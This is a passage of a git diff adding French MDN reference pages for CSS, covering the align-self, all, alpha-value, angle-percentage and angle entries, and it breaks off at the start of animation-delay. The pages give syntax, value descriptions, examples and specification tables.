+<div>{{EmbedInteractiveExample("pages/css/align-self.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Cette propriété ne s'applique pas aux boîtes qui sont des blocs ou aux cellules d'un tableau.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* Valeurs avec un mot-clé */
+align-self: auto;
+align-self: normal;
+
+/* Alignement géométrique */
+/* align-self ne gère pas les valeurs left et right */
+align-self: center; /* Les éléments sont alignés sur le centre */
+align-self: start; /* Les éléments sont alignés au début de l'axe */
+align-self: end; /* Les éléments sont alignés à la fin de l'axe */
+align-self: self-start; /* Les éléments sont alignés par rapport à leur début */
+align-self: self-end; /* Les éléments sont alignés par rapport à leur fin */
+align-self: flex-start; /* Les éléments flexibles sont alignés au début */
+align-self: flex-end; /* Les éléments flexibles sont alignés à la fin */
+
+/* Alignement selon la ligne de base */
+align-self: baseline;
+align-self: first baseline;
+align-self: last baseline;
+align-self: stretch; /* Les objets dimensionnés avec 'auto' sont */
+                     /* étirés pour remplir le conteneur */
+
+/* Alignement avec gestion du dépassement */
+align-self: safe center;
+align-self: unsafe center;
+
+/* Valeurs globales */
+align-self: inherit;
+align-self: initial;
+align-self: unset;</pre>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>La valeur est calculée par rapport à celle de {{cssxref("align-items")}}.</dd>
+ <dt><code>normal</code></dt>
+ <dd>L'effet de ce mot-clé dépend du mode de disposition utilisé :
+ <ul>
+  <li>Pour une disposition absolue, ce mot-clé est synonyme de <code>start</code> pour les boîtes remplacées positionnées de façon absolue, il est synonyme de <em>stretch</em> pour les autres boîtes positionnées de façon absolue.</li>
+  <li>Pour une disposition absolue et des positions statiques, ce mot-clé est synonyme de <code>stretch</code>.</li>
+  <li>Pour les éléments flexibles, ce mot-clé est synonyme de <code>stretch</code>.</li>
+  <li>Pour les éléments positionnés sur une grille, ce mot-clé est synonyme de <code>stretch</code>, sauf pour les boîtes qui ont un ratio d'aspec ou des dimensions intrinsèques, dans ce cas, cette valeur se comporte comme <code>start</code>.</li>
+  <li>Cette propriété ne s'applique pas aux boîtes qui sont des blocs ou aux cellules d'un tableau.</li>
+ </ul>
+ </dd>
+ <dt><code>self-start</code></dt>
+ <dd>Les éléments sont alignés dans l'axe perpendiculaire à l'axe principal pour que le bord correspondant soit aligné avec le bord du conteneur au début de l'axe.</dd>
+ <dt><code>self-end</code></dt>
+ <dd>Les éléments sont alignés dans l'axe perpendiculaire à l'axe principal pour que le bord correspondant soit aligné avec le bord du conteneur à la fin de l'axe.</dd>
+ <dt><code>flex-start</code></dt>
+ <dd>Le bord de l'élément flexible, au début de l'axe perpendiculaire à l'axe principal, est aligné avec le bord au début de l'axe perpendiculaire pour la ligne flexible.</dd>
+ <dt><code>flex-end</code></dt>
+ <dd>Le bord de l'élément flexible, à la fin de l'axe perpendiculaire à l'axe principal, est aligné avec le bord à la fin de l'axe perpendiculaire pour la ligne flexible.</dd>
+ <dt><code>center</code></dt>
+ <dd>La boîte définies par les marges est centrée sur la ligne de l'axe perpendiculaire à l'axe principal de la ligne. Si l'élément est plus grand que le conteneur dans ce sens, il dépassera également de chaque côté.</dd>
+ <dt><code>baseline<br>
+ first baseline</code><br>
+ <code>last baseline</code></dt>
+ <dd>Indique l'alignement par rapport à la ligne de base.<br>
+ Si besoin, la valeur <code>first baseline</code> est remplacée par <code>start</code> et <code>last baseline</code> est remplacée par <code>end</code>.</dd>
+ <dt><code>stretch</code></dt>
+ <dd>Si la somme des dimensions des éléments sur l'axe perpendiculaire à l'axe principal est inférieure à la dimension du conteneur et que l'élément est dimensionné automatiquement, celui-ci est agrandi (tout en respectant les éventuelles contraintes dictées par {{cssxref("max-height")}}/{{cssxref("max-width")}} ou autres) afin que l'ensemble des éléments remplissent le conteneur sur cet axe.</dd>
+ <dt><code>safe</code></dt>
+ <dd>Si la taille d'un élément dépasse du conteneur avec l'alignement fourni par la valeur, l'élément sera en réalité aligné comme si la valeur <code>start</code> avait été utilisée.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Quelle que soit les tailles relatives des objets par rapport au conteneur, la valeur indiquant l'alignement sera respectée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.flex-container {
+  height: 250px;
+  display: flex;
+}
+
+.element-flex {
+  background: palegreen;
+  width: 100px;
+  padding: 5px;
+  margin: 5px;
+  line-height: 50px;
+  font-size: 2em;
+}
+
+.center {
+  -webkit-align-self: center;
+  align-self: center;
+}
+
+.baseline {
+  -webkit-align-self: baseline;
+  align-self: baseline;
+}
+
+.stretch {
+  -webkit-align-self: stretch;
+  align-self: stretch;
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;div class="flex-container"&gt;
+  &lt;p class="element-flex center"&gt;Milieu&lt;/p&gt;
+  &lt;p class="element-flex baseline"&gt;Base&lt;/p&gt;
+  &lt;p class="element-flex stretch"&gt;Étiré&lt;/p&gt;
+&lt;/div&gt;</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","300","300")}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("CSS3 Box Alignment", "#propdef-align-self", "align-self")}}</td>
+   <td>{{Spec2("CSS3 Box Alignment")}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("CSS3 Flexbox", "#propdef-align-self", "align-self")}}</td>
+   <td>{{Spec2("CSS3 Flexbox")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_avec_les_boîtes_flexibles_(Flexbox)">Prise en charge pour les dispositions avec les boîtes flexibles (<em>Flexbox</em>)</h3>
+
+<p>{{Compat("css.properties.align-self.flex_context")}}</p>
+
+<h3 id="Prise_en_charge_pour_les_dispositions_avec_les_grilles_CSS">Prise en charge pour les dispositions avec les grilles CSS</h3>
+
+<p>{{Compat("css.properties.align-self.grid_context")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="/fr/docs/Web/CSS/Disposition_des_boîtes_flexibles_CSS/Utilisation_des_flexbox_en_CSS">Utiliser les boîtes flexibles CSS</a></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Concepts_de_base_flexbox">Les concepts de bases</a></em></li>
+ <li>Guide sur les boîtes flexibles : <em><a href="/fr/docs/Web/CSS/Disposition_flexbox_CSS/Aligner_des_éléments_dans_un_conteneur_flexible">Aligner des objets dans un conteneur flexible</a></em></li>
+ <li>Guide sur les grilles : <em><a href="/fr/docs/Web/CSS/CSS_Grid_Layout/Alignement_des_boîtes_avec_les_grilles_CSS">Aligner des objets dans une grille</a></em></li>
+ <li><a href="/fr/docs/Web/CSS/CSS_Box_Alignment">Le module de spécification CSS Box Alignment</a></li>
+ <li>La propriété {{cssxref("align-items")}}</li>
+</ul>
diff --git a/files/fr/web/css/all/index.html b/files/fr/web/css/all/index.html
new file mode 100644
index 0000000000..b9ed504c85
--- /dev/null
+++ b/files/fr/web/css/all/index.html
@@ -0,0 +1,174 @@
+---
+title: all
+slug: Web/CSS/all
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/all
+---
+<div>{{CSSRef}}</div>
+
+<p>La <a href="/fr/docs/Web/CSS/Propri%C3%A9t%C3%A9s_raccourcies">propriété raccourcie</a> <code><strong>all</strong></code> permet de réinitialiser toutes les propriétés, à l'exception de {{cssxref("unicode-bidi")}} et {{cssxref("direction")}}, avec leurs valeurs initiales, héritées ou qui proviennent d'une autre feuille de style.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/all.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* Valeurs globales */
+all: initial;
+all: inherit;
+all: unset;
+
+/* Héritage et cascade CSS : Niveau 4 */
+all: revert;
+</pre>
+
+<p>La propriété <code>all</code> est définie avec un des mots-clés globaux de CSS. On notera que la valeur de cette propriété n'a pas d'impact sur les propriétés {{cssxref("unicode-bidi")}} et {{cssxref("direction")}}.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>initial</code></dt>
+ <dd>Voir {{cssxref("initial")}}. Ce mot-clé indique que toutes les propriétés qui sont définies pour l'élément auquel s'applique <code>all</code> (ou qu'il hérite de cette valeur via un élément parent) devront prendre leurs valeurs initiales.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Voir {{cssxref("inherit")}}. Ce mot-clé indique que toutes les propriétés qui sont définies pour l'élément auquel s'applique <code>all</code> (ou qu'il hérite de cette valeur via un élément parent) devront prendre les valeurs héritées (c'est-à-dire celles définies pour le parent de l'élément).</dd>
+ <dt><code>unset</code></dt>
+ <dd>Voir {{cssxref("unset")}}. Ce mot-clé indique que toutes les propriétés qui s'appliquent à l'élément ou à son parent prendront la valeur déclarée pour le parent si elles peuvent être héritées ou la valeur initiale sinon.</dd>
+ <dt><code>revert</code></dt>
+ <dd>Voir {{cssxref("revert")}}. Si la valeur obtenue dans la cascade est le mot-clé <code>revert</code>, le comportement obtenu sera différent selon l'origine de la déclaration :
+ <dl>
+  <dt>La déclaration provient de l'agent utilisateur :</dt>
+  <dd>Synonyme de <code>unset</code>.</dd>
+  <dt>La déclaration provient de l'utilisateur :</dt>
+  <dd>Le moteur remonte <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage">la cascade</a> au niveau de l'agent utilisateur afin de calculer la valeur comme si aucune règle n'était appliquée par le document ou par l'utilisateur.</dd>
+  <dt>La déclaration provient de l'auteur (du document)</dt>
+  <dd>Le moteur remonte <a href="/fr/docs/Apprendre/CSS/Introduction_%C3%A0_CSS/La_cascade_et_l_h%C3%A9ritage">la cascade</a> au niveau de l'utilisateur afin de calculer la valeur comme si aucune règle ne provenait du document pour cette propriété.Cette origine inclue <a href="https://www.w3.org/TR/css-cascade-4/#origin">les origines des surcharges DOM et des animations</a>.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;blockquote id="quote"&gt;
+  Lorem ipsum dolor sit amet, consectetur adipiscing elit.
+&lt;/blockquote&gt;
+Phasellus eget velit sagittis.</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">body {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<div id="ex0" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="Pas_de_propriété_all">Pas de propriété <code>all</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }</pre>
+{{EmbedLiveSample("ex0", "200", "125")}}
+
+<p>L'élément {{HTMLElement("blockquote")}} utilise la mise en forme par défaut du navigateur avec un arrière-plan spécifique et une couleur pour le texte. L'élément se comporte comme un élément de bloc : le texte qui suit est placé en dessous.</p>
+</div>
+
+<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allunset"><code>all:unset</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: unset; }</pre>
+{{EmbedLiveSample("ex1", "200", "125")}}
+
+<p>L'élément {{HTMLElement("blockquote")}} n'utilise pas la mise en forme par défaut du naivgateur, c'est un élément en ligne (<em>inline</em>) (sa valeur initiale), la valeur de {{cssxref("background-color")}} est <code>transparent</code> (la valeur initiale), mais {{cssxref("font-size")}} vaut toujours <code>small</code> (valeur héritée) et {{cssxref("color")}} vaut (valeur héritée).</p>
+</div>
+
+<div id="ex2" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinitial"><code>all:initial</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: initial; }</pre>
+{{EmbedLiveSample("ex2", "200", "125")}}
+
+<p>L'élément {{HTMLElement("blockquote")}} n'utilise pas la mise en forme par défaut du navigateur, c'est un élément en ligne (sa valeur initiale). La propriété {{cssxref("background-color")}} vaut <code>transparent</code> (sa valeur initiale), {{cssxref("font-size")}} vaut <code>normal</code> (valeur initiale) et {{cssxref("color")}} vaut <code>black</code> (sa valeur initiale).</p>
+</div>
+
+<div id="ex3" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinherit"><code>all:inherit</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">body { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: inherit; }</pre>
+{{EmbedLiveSample("ex3", "200", "125")}}
+
+<p>L'élément {{HTMLElement("blockquote")}} n'utilise pas la mise en forme par défaut du navigateur, c'est un élément de bloc (valeur héritée depuis l'élément englobant {{HTMLElement("div")}}), {{cssxref("background-color")}} vaut <code>#F0F0F0</code> (valeur héritée), {{cssxref("font-size")}} vaut <code>small</code> (valeur héritée) et {{cssxref("color")}} vaut <code>blue</code> (valeur héritée).</p>
+</div>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Cascade', '#all-shorthand', 'all')}}</td>
+   <td>{{Spec2('CSS4 Cascade')}}</td>
+   <td>Ajout de la valeur <code>revert</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Cascade', '#all-shorthand', 'all')}}</td>
+   <td>{{Spec2('CSS3 Cascade')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.all")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<p>Les mots-clés indiquant des valeurs globales pour CSS :</p>
+
+<ul>
+ <li>{{cssxref("initial")}},</li>
+ <li>{{cssxref("inherit")}},</li>
+ <li>{{cssxref("unset")}},</li>
+ <li>{{cssxref("revert")}}.</li>
+</ul>
diff --git a/files/fr/web/css/alpha-value/index.html b/files/fr/web/css/alpha-value/index.html
new file mode 100644
index 0000000000..2a260de8f1
--- /dev/null
+++ b/files/fr/web/css/alpha-value/index.html
@@ -0,0 +1,58 @@
+---
+title: alpha-value
+slug: Web/CSS/alpha-value
+tags:
+  - CSS
+  - Reference
+  - Type de donnée
+translation_of: Web/CSS/alpha-value
+---
+<p>{{CSSRef}}{{draft()}}</p>
+
+<p>Le <a href="/fr/docs/Web/CSS/Types_CSS">type de donnée</a> CSS <strong><code>&lt;alpha-value&gt;</code></strong> représente une valeur qui peut être un nombre ({{cssxref("&lt;number&gt;")}}) ou un pourcentage ({{cssxref("&lt;percentage&gt;")}}) et qui indique le <a href="https://fr.wikipedia.org/wiki/Canal_alpha">canal alpha</a> ou <em>l'opacité</em> d'une couleur.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Si la valeur est fournie comme un nombre, la valeur peut être comprise entre 0 (complètement transparent) et 1 (complètement opaque). Il est possible d'utiliser des valeurs décimales comprises entre ces valeurs. Les valeurs à l'extérieur de cet intervalle sont valides mais elles sont écrétées à 0 ou 1.</p>
+
+<p>Lorsque la valeur est fournie en pourcentage 0% correspond à une transparence complète tandis que 100% correspond à une opacité totale.</p>
+
+<h2 id="Interpolation">Interpolation</h2>
+
+<p>Lorsqu'une animation fait évoluer une valeur de type <code>&lt;alpha-value&gt;</code>, les valeurs sont interpolées comme des nombres réels à point flottant. La vitesse de l'interpolation est déterminée par la <a href="/fr/docs/Web/CSS/timing-function">fonction de temporisation</a> associée à l'animation.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Certaines fonctionnalités CSS utilisent des valeurs <code>&lt;alpha-value&gt;</code> dont <a href="https://developer.mozilla.org/en-US/docs/Web/CSS/color_value#RGB_colors">les notations fonctionnelles pour les couleurs telles que <code>rgba()</code> et <code>hsla()</code></a> et aussi {{cssxref("shape-image-threshold")}} (qui détermine les pixels à prendre en compte pour une image lorsqu'on souhaite en extraire une forme).</p>
+
+<pre class="brush: css no-line-numbers language-css"><code class="language-css"><span class="comment token">/* &lt;rgba()&gt; */</span>
+<span class="property token">color</span><span class="punctuation token">:</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">34</span><span class="punctuation token">,</span> <span class="number token">12</span><span class="punctuation token">,</span> <span class="number token">64</span><span class="punctuation token">,</span> <span class="number token">0.6</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="property token">color</span><span class="punctuation token">:</span> <span class="function token">rgba</span><span class="punctuation token">(</span><span class="number token">34.0</span> <span class="number token">12</span> <span class="number token">64</span> <span class="operator token">/</span> <span class="number token">60</span><span class="token unit">%</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code>
+
+<code class="language-css"><span class="comment token">/* shape-image-threshold */
+</span><span class="property token">shape-image-threshold</span><span class="punctuation token">:</span> <span class="number token">70%</span><span class="punctuation token">;</span>
+<span class="property token">shape-image-threshold</span><span class="punctuation token">:</span> <span class="number token">0.7</span><span class="punctuation token">;</span></code></pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Colors', '#type-def-alpha-value', '&lt;alpha-value&gt;')}}</td>
+   <td>{{Spec2('CSS4 Colors')}}</td>
+   <td>Aucune modification significative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Colors', '#alphavaluedt', '&lt;alpha-value&gt;')}}</td>
+   <td>{{Spec2('CSS3 Colors')}}</td>
+   <td>Introduit le type <code>&lt;alpha-value&gt;</code> ainsi que les notations fonctionnelles <code>rgba()</code> et <code>hsla()</code>.</td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/fr/web/css/angle-percentage/index.html b/files/fr/web/css/angle-percentage/index.html
new file mode 100644
index 0000000000..7ec3da707a
--- /dev/null
+++ b/files/fr/web/css/angle-percentage/index.html
@@ -0,0 +1,50 @@
+---
+title: <angle-percentage>
+slug: Web/CSS/angle-percentage
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/angle-percentage
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de donnée <strong><code>&lt;angle-percentage&gt;</code></strong> représente une valeur qui peut être une valeur de type {{cssxref("angle")}} ou une valeur de type {{cssxref("percentage")}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Voir la documentation des types {{cssxref("angle")}} et {{cssxref("percentage")}} pour plus de détails sur les syntaxes possibles avec chacun de ces types.</p>
+
+<h2 id="Utilisation_avec_calc()">Utilisation avec <code>calc()</code></h2>
+
+<p>Lorsqu'il est possible d'utiliser une valeur de type <code>&lt;angle-percentage&gt;</code> dans une déclaration, cela signifie que le pourcentage sera résolu avec une valeur angulaire et qu'il peut être utilisé dans une expression {{Cssxref("calc()")}}.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#mixed-percentages', '&lt;angle-percentage&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition du type <code>&lt;angle-percentage&gt;</code>. Ajout de <code>calc()</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("css.types.angle-percentage")}}</p>
diff --git a/files/fr/web/css/angle/index.html b/files/fr/web/css/angle/index.html
new file mode 100644
index 0000000000..b829e4046c
--- /dev/null
+++ b/files/fr/web/css/angle/index.html
@@ -0,0 +1,98 @@
+---
+title: <angle>
+slug: Web/CSS/angle
+tags:
+  - CSS
+  - Reference
+  - Type
+translation_of: Web/CSS/angle
+---
+<div>{{CSSRef}}</div>
+
+<p>Le type de données CSS <strong><code>&lt;angle&gt;</code></strong> permet de représenter des angles exprimés en degrés, radians, grades ou tours. Les angles positifs sont des angles allant dans le sens horaire et les valeurs négatives sont des angles allant dans le sens anti-horaire. Les angles sont par exemples utilisés pour les transformations CSS ({{cssxref("transform")}}) ou les dégradés ({{cssxref("&lt;gradient&gt;")}}).</p>
+
+<div>{{EmbedInteractiveExample("pages/css/type-angle.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<p>Pour exprimer une valeur de ce type, on utilisera une valeur de type {{cssxref("&lt;number&gt;")}} (un nombre), immédiatement suivie d'une unité <code>deg</code>, <code>grad</code>, <code>rad</code> ou <code>turn</code>. Comme pour les autres dimensions présentes en CSS, il n'y a pas d'espace entre le littéral réservé à l'unité et le nombre qui indique la mesure de l'angle. L'unité est facultative pour la valeur <code>0</code> (bien qu'il soit recommandé d'écrire une unité pour des raisons de lisibilité et de cohérence). Il est possible d'utiliser un signe <code>+</code> ou <code>-</code> en préfixe.</p>
+
+<p>Pour les propriétés statiques et pour une unité donnée, un même angle pourra être représenté par plusieurs valeurs, ainsi <code>90deg</code>, <code>-270deg</code>, <code>1turn</code> et <code>4turn</code> représentent le même angle. En revanche, pour les propriétés dynamiques (par exemple {{cssxref("transition")}} sur {{cssxref("transform")}}), l'effet obtenu sera différent.</p>
+
+<h3 id="Unités">Unités</h3>
+
+<p>Pour représenter une valeur dans le type <code>&lt;angle&gt;</code>, on pourra utiliser les unités suivantes :</p>
+
+<dl>
+ <dt><code>deg</code></dt>
+ <dd>Cette unité permet de représenter un angle exprimé en <a href="https://fr.wikipedia.org/wiki/Degr%C3%A9_(angle)">degrés</a>. Un cercle complet correspondra à <code>360deg</code>. Voici des valeurs pour l'exemple : <code>0deg</code>, <code>90deg</code>,<code> 360deg</code>.</dd>
+ <dt><code>grad</code></dt>
+ <dd>Cette unité permet de représenter un angle exprimé en <a href="https://fr.wikipedia.org/wiki/Grade_(angle)">grades</a>. Un cercle complet correspondra à <code>400grad</code>. Voici des valeurs pour l'exemple : <code>0grad</code>, <code>100grad</code>,<code> 400grad</code>.</dd>
+ <dt><code>rad</code></dt>
+ <dd>Cette unité permet de représenter un angle exprimé en <a href="https://fr.wikipedia.org/wiki/Radian">radians</a>. Un cercle complet correspondra à 2π radians (soit environ <code>6.2832rad</code>). Un radian correspond à 180/π degrés. Voici des valeurs pour l'exemple : <code>0rad</code>, <code>1.0708rad</code>,<code> 6.2832rad</code>.</dd>
+ <dt><code>turn</code></dt>
+ <dd>Cette unité représente le nombre de tours qu'effectue l'angle. Un cercle complet correspondra à <code>1turn</code>. Voici des valeurs pour l'exemple : <code>0turn</code>, <code>0.25turn</code>,<code> 1turn</code>.</dd>
+</dl>
+
+<p>Même si toutes les unités exprimeront une valeur nulle identique, l'unité <strong>doit</strong><strong> être indiquée</strong> afin de lever l'ambiguïté entre un angle et une valeur de longueur (type {{cssxref("&lt;length&gt;")}}).</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<table>
+ <tbody>
+  <tr>
+   <td><img alt="Angle90.png" class="default internal" src="/@api/deki/files/5704/=Angle90.png"></td>
+   <td>
+    <p>Un angle droit orienté dans le sens horaire : <code>90deg = 100grad = 0.25turn ≈ 1.5708rad</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td>
+   <td>Un angle plat orienté dans le sens horaire : <code>180deg = 200grad = 0.5turn ≈ 3.1416rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td>
+   <td>Un angle droit orienté dans le sens anti-horaire : <code>-90deg = -100grad = -0.25turn ≈ -1.5708rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="Angle0.png" class="default internal" src="/@api/deki/files/5708/=Angle0.png"></td>
+   <td>
+    <p>Un angle nul : <code>0 = 0deg = 0grad = 0turn = 0rad</code></p>
+
+    <div class="note"><strong>Note :</strong>Si, dans l'absolu, on peut exprimer la valeur nulle sans unité, il est fortement recommandé d'indiquer l'unité afin de lever toute ambiguïté possible entre les angles et les longueurs.</div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 Values', '#angles', '&lt;angle&gt;')}}</td>
+   <td>{{Spec2('CSS4 Values')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Values', '#angles', '&lt;angle&gt;')}}</td>
+   <td>{{Spec2('CSS3 Values')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.types.angle")}}</p>
diff --git a/files/fr/web/css/animation-delay/index.html b/files/fr/web/css/animation-delay/index.html
new file mode 100644
index 0000000000..8518ef21ce
--- /dev/null
+++ b/files/fr/web/css/animation-delay/index.html
@@ -0,0 +1,112 @@
+---
+title: animation-delay
+slug: Web/CSS/animation-delay
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/animation-delay
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>animation-delay</code></strong> définit la durée d'attente avant de démarrer une animation une fois qu'elle a été appliquée à un élément.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/animation-delay.html")}}</div>
+
